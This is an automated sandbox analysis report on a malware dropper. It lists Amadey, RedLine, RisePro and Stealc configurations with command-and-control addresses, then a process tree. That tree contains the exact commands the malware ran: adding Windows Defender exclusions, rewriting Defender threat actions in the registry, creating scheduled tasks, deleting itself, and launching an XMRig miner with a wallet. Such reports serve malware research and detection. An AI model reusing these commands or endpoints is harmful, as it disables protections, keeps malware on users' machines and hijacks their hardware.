Analysis
-
max time kernel
37s -
max time network
100s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
-
submitted
17-05-2024 03:47
Errors
General
-
Target
56215813946be4ee71547216f392e945facda66baeb13ce175b92becb0fbddea.exe
-
Size
1.7MB
-
MD5
fcf5c0216c13fda0d52d1121b7a43165
-
SHA1
36337bcbb7b645b38c3eba32cc487478265b2778
-
SHA256
56215813946be4ee71547216f392e945facda66baeb13ce175b92becb0fbddea
-
SHA512
58add74477f079bb34f896005ff2670422e6f5a34c656b28fea7036bb16e92308d9debf7001c9ba1ef0f9d5e79f81f5ee96ff2febf106f53373fb6b0600fc9c8
-
SSDEEP
24576:V3goFl9quh8Y2tIMd6+8qAJUkTtf9H7V47aTQUIEs9HLtSJC7ZIXwhiZ2loSXCCN:V/1yYS6TzUohTtkp98L2vXtzN8I
Malware Config
Extracted
amadey
4.20
18befc
http://5.42.96.141
-
install_dir
908f070dff
-
install_file
explorku.exe
-
strings_key
b25a9385246248a95c600f9a061438e1
-
url_paths
/go34ko8/index.php
Extracted
amadey
4.20
c767c0
http://5.42.96.7
-
install_dir
7af68cdb52
-
install_file
axplons.exe
-
strings_key
e2ce58e78f631ed97d01fe7b70e85d5e
-
url_paths
/zamo7h/index.php
Extracted
risepro
147.45.47.126:58709
Extracted
redline
@CLOUDYTTEAM
185.172.128.33:8970
Extracted
redline
1
185.215.113.67:26260
Extracted
stealc
zzvv
http://23.88.106.134
-
url_path
/c73eed764cc59dcb.php
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
-
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
-
Stealc
Stealc is an infostealer written in C++.
-
UAC bypass 3 TTPs 1 IoCs
-
Windows security bypass 2 TTPs 2 IoCs
-
XMRig Miner payload 4 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs
Run Powershell and hide display window.
-
Downloads MZ/PE file
-
Stops running service(s) 4 TTPs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Executes dropped EXE 20 IoCs
-
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 2 IoCs
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 36 IoCs
Detects Themida, an advanced Windows software protection system.
-
Windows security modification 2 TTPs 3 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 5 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Suspicious use of SetThreadContext 5 IoCs
-
Drops file in Program Files directory 6 IoCs
-
Drops file in Windows directory 2 IoCs
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 11 IoCs
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Kills process with taskkill 1 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 17 IoCs
-
Suspicious use of AdjustPrivilegeToken 12 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\56215813946be4ee71547216f392e945facda66baeb13ce175b92becb0fbddea.exe"C:\Users\Admin\AppData\Local\Temp\56215813946be4ee71547216f392e945facda66baeb13ce175b92becb0fbddea.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"7⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"7⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 38⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4084 -s 3646⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameStabilityService\installm.bat" "6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLinks7⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameStabilityService\GameService.exeGameService remove GameSyncLinks confirm7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameStabilityService\GameService.exeGameService install GameStabilityService "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameStabilityService\GameService.exeGameService start GameStabilityService7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"5⤵
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe" -Force6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\qPbAM7RNkA8byNXCudmsbt9Z.exe"C:\Users\Admin\Pictures\qPbAM7RNkA8byNXCudmsbt9Z.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 4768⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 5248⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 5368⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 8328⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 5008⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 8768⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 10488⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 10608⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 14448⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "qPbAM7RNkA8byNXCudmsbt9Z.exe" /f & erase "C:\Users\Admin\Pictures\qPbAM7RNkA8byNXCudmsbt9Z.exe" & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "qPbAM7RNkA8byNXCudmsbt9Z.exe" /f9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 14368⤵
- Program crash
-
C:\Users\Admin\Pictures\9IkilK01Sohtjxn1f1BxOloR.exe"C:\Users\Admin\Pictures\9IkilK01Sohtjxn1f1BxOloR.exe"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile8⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\9IkilK01Sohtjxn1f1BxOloR.exe"C:\Users\Admin\Pictures\9IkilK01Sohtjxn1f1BxOloR.exe"8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\f4moAc8dATEW7eqyzpIlthlU.exe"C:\Users\Admin\Pictures\f4moAc8dATEW7eqyzpIlthlU.exe" /s7⤵
-
C:\Users\Admin\Pictures\RGQdtZiZWfbGtiC4YF0ezXL3.exe"C:\Users\Admin\Pictures\RGQdtZiZWfbGtiC4YF0ezXL3.exe"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile8⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\RGQdtZiZWfbGtiC4YF0ezXL3.exe"C:\Users\Admin\Pictures\RGQdtZiZWfbGtiC4YF0ezXL3.exe"8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\Pictures\05v4tz3BNXgmjR3Ik10s7JAy.exe"C:\Users\Admin\Pictures\05v4tz3BNXgmjR3Ik10s7JAy.exe"7⤵
-
C:\Users\Admin\Pictures\qvOGReaVS4I0YbbSqxyyVIts.exe"C:\Users\Admin\Pictures\qvOGReaVS4I0YbbSqxyyVIts.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4467.tmp\Install.exe.\Install.exe /tEdidDDf "385118" /S8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"9⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force12⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force13⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True11⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True12⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 03:50:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS4467.tmp\Install.exe\" it /XMDdidQKMG 385118 /S" /V1 /F9⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ10⤵
-
\??\c:\windows\SysWOW64\schtasks.exeschtasks /run /I /tn bbmnnUCIPYyTQrzMQJ11⤵
-
C:\Users\Admin\Pictures\XXRHXSF5C4fzeyfXupmUV3bz.exe"C:\Users\Admin\Pictures\XXRHXSF5C4fzeyfXupmUV3bz.exe"7⤵
-
C:\Users\Admin\Pictures\f34JZWo01Chky0PVhHByrVvo.exe"C:\Users\Admin\Pictures\f34JZWo01Chky0PVhHByrVvo.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS559D.tmp\Install.exe.\Install.exe /tEdidDDf "385118" /S8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"9⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 611⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 612⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force12⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force13⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True11⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True12⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\1000014001\5d9e6f20f7.exe"C:\Users\Admin\AppData\Local\Temp\1000014001\5d9e6f20f7.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4084 -ip 40841⤵
-
C:\Program Files (x86)\GameStabilityService\GameService.exe"C:\Program Files (x86)\GameStabilityService\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Temp\489370.exe"C:\Windows\Temp\489370.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 86Adxfq6AnkKUZNQwBuLMF9HYKxy399q4GoNvX86ddj4DNkHhKaPCWagERDeBPVYSw76hQwZATyV8GAWhX5g2ujETX6AWcp --coin XMR -t 1 --no-color -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4644 -ip 46441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4644 -ip 46441⤵
-
